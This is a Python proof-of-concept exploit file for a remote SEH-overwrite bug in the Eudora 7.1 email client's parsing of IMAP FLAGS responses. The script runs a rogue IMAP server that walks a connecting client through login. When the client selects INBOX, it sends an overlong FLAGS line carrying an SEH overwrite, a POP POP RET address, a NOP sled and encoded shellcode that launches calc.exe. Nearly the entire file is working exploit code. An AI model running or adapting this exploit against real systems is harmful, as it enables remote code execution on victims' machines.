eudora-seh-overwrite.txt

`#!/usr/bin/python  
# Eudora 7.1 (IMAP FLAGS) 0day Remote SEH Overwrite PoC Exploit  
# Bug discovered by Krystian Kloskowski (h07) <[email protected]>  
# Tested on Eudora 7.1.0.9 / 2k SP4 Polish  
# Shellcode type: Windows Execute Command (calc.exe)  
# Details:..  
# Eudora --> SELECT IMBOX ---------> IMAP server  
# Eudora <-- FLAGS (\..AAAA...) <---- IMAP server  
# FLAGS (\Answered \Flagged \Draft \Deleted \Seen hasatt + "A" * 1070  
# 0x41414141 Pointer to next SEH record  
# 0x41414141 SE handler  
##  
  
from thread import start_new_thread  
from struct import pack  
from string import find  
from time import sleep  
from socket import *  
  
session_elements = (  
'* OK IMAP4 ready\r\n',  
  
'* CAPABILITY IMAP4 IMAP4rev1 ACL QUOTA LITERAL+ MAILBOX-REFERRALS NAMESPACE UIDP'  
'LUS ID NO_ATOMIC_RENAME UNSELECT CHILDREN MULTIAPPEND BINARY SORT THREAD=ORDERED'  
'SUBJECT THREAD=REFERENCES ANNOTATEMORE IDLE SASL-IR\r\n'  
'00000 OK completed\r\n',  
  
'00001 OK User logged in\r\n',  
  
'* NAMESPACE (("INBOX." ".")) (("user." ".")) (("" "."))\r\n'  
'00002 OK Completed\r\n',  
  
'* LIST (\Noselect) "." ""\r\n'  
'00003 OK Completed (0.000 secs 0 calls)\r\n',  
  
'* LIST (\HasChildren) "." "INBOX"\r\n'  
'00004 OK Completed (0.000 secs 3 calls)\r\n',  
  
'* LIST (\HasChildren) "." "INBOX"\r\n'  
'00005 OK Completed (0.000 secs 3 calls)\r\n',  
  
'* FLAGS (\Answered \Flagged \Draft \Deleted \Seen hasatt%s)\r\n'  
'* OK [PERMANENTFLAGS (\Answered \Flagged \Draft \Deleted \Seen hasatt \*)]\r\n'   
'* 1 EXISTS\r\n'  
'* 0 RECENT\r\n'  
'* OK [UIDVALIDITY 1180222864]\r\n'   
'* OK [UIDNEXT 2]\r\n'   
'* OK [NOMODSEQ] Sorry, modsequences have not been enabled on this mailbox\r\n'  
'* OK [URLMECH INTERNAL]\r\n'  
'00003 OK [READ-WRITE] Completed\r\n')  
  
shellcode = (  
# Restricted Characters: 0x0a, 0x0d, 0x20, 0x29, (0x60 .. 0x7B)  
# EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com   
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"  
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"  
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"  
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"  
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"  
"\x42\x30\x42\x50\x42\x50\x4b\x58\x45\x44\x4e\x33\x4b\x48\x4e\x57"  
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x38\x4f\x34\x4a\x31\x4b\x58"  
"\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x54\x4b\x38\x46\x43\x4b\x58"  
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c"  
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"  
"\x46\x4f\x4b\x53\x46\x35\x46\x42\x46\x30\x45\x57\x45\x4e\x4b\x38"  
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x48\x4e\x50\x4b\x54"  
"\x4b\x48\x4f\x45\x4e\x51\x41\x30\x4b\x4e\x4b\x58\x4e\x51\x4b\x48"  
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x52\x46\x50\x43\x4c\x41\x53"  
"\x42\x4c\x46\x56\x4b\x38\x42\x34\x42\x33\x45\x38\x42\x4c\x4a\x47"  
"\x4e\x50\x4b\x38\x42\x44\x4e\x50\x4b\x38\x42\x47\x4e\x41\x4d\x4a"  
"\x4b\x48\x4a\x56\x4a\x30\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b"  
"\x42\x50\x42\x30\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x35\x41\x43"  
"\x48\x4f\x42\x56\x48\x55\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x57"  
"\x42\x35\x4a\x56\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x56\x4a\x49"  
"\x50\x4f\x4c\x38\x50\x30\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x36"  
"\x4e\x36\x43\x36\x42\x50\x5a")  
  
NEXT_SEH_RECORD = 0x909006EB # JMP SHORT + 0x06  
SE_HANDLER = 0x7CEA41D3 # POP POP RET (SHELL32.DLL / 2k SP4 Polish)  
  
buf = "A" * 1062  
buf += pack("<L", NEXT_SEH_RECORD)  
buf += pack("<L", SE_HANDLER)  
buf += "\x90" * 32  
buf += shellcode  
  
def AcceptConnect(cl, addr):  
print "Connection accepted from: %s" % (addr[0])  
try:  
for i in range(0, len(session_elements) - 1):  
cl.send(session_elements[i])  
response = cl.recv(256)  
retval = find(response, 'SELECT INBOX')  
if(retval != -1):  
cl.send(session_elements[7] % (buf))  
sleep(1)  
print "Done"  
break  
cl.close()   
except Exception, err:  
print err  
  
bind_addr = '0.0.0.0'  
bind_port = 143   
  
s = socket(AF_INET, SOCK_STREAM)  
s.bind((bind_addr, bind_port))  
s.listen(1)  
print "Listening on %s:%d..." % (bind_addr, bind_port)  
while(1):  
cl, addr = s.accept()  
start_new_thread(AcceptConnect, (cl, addr,))  
  
# EoF  
`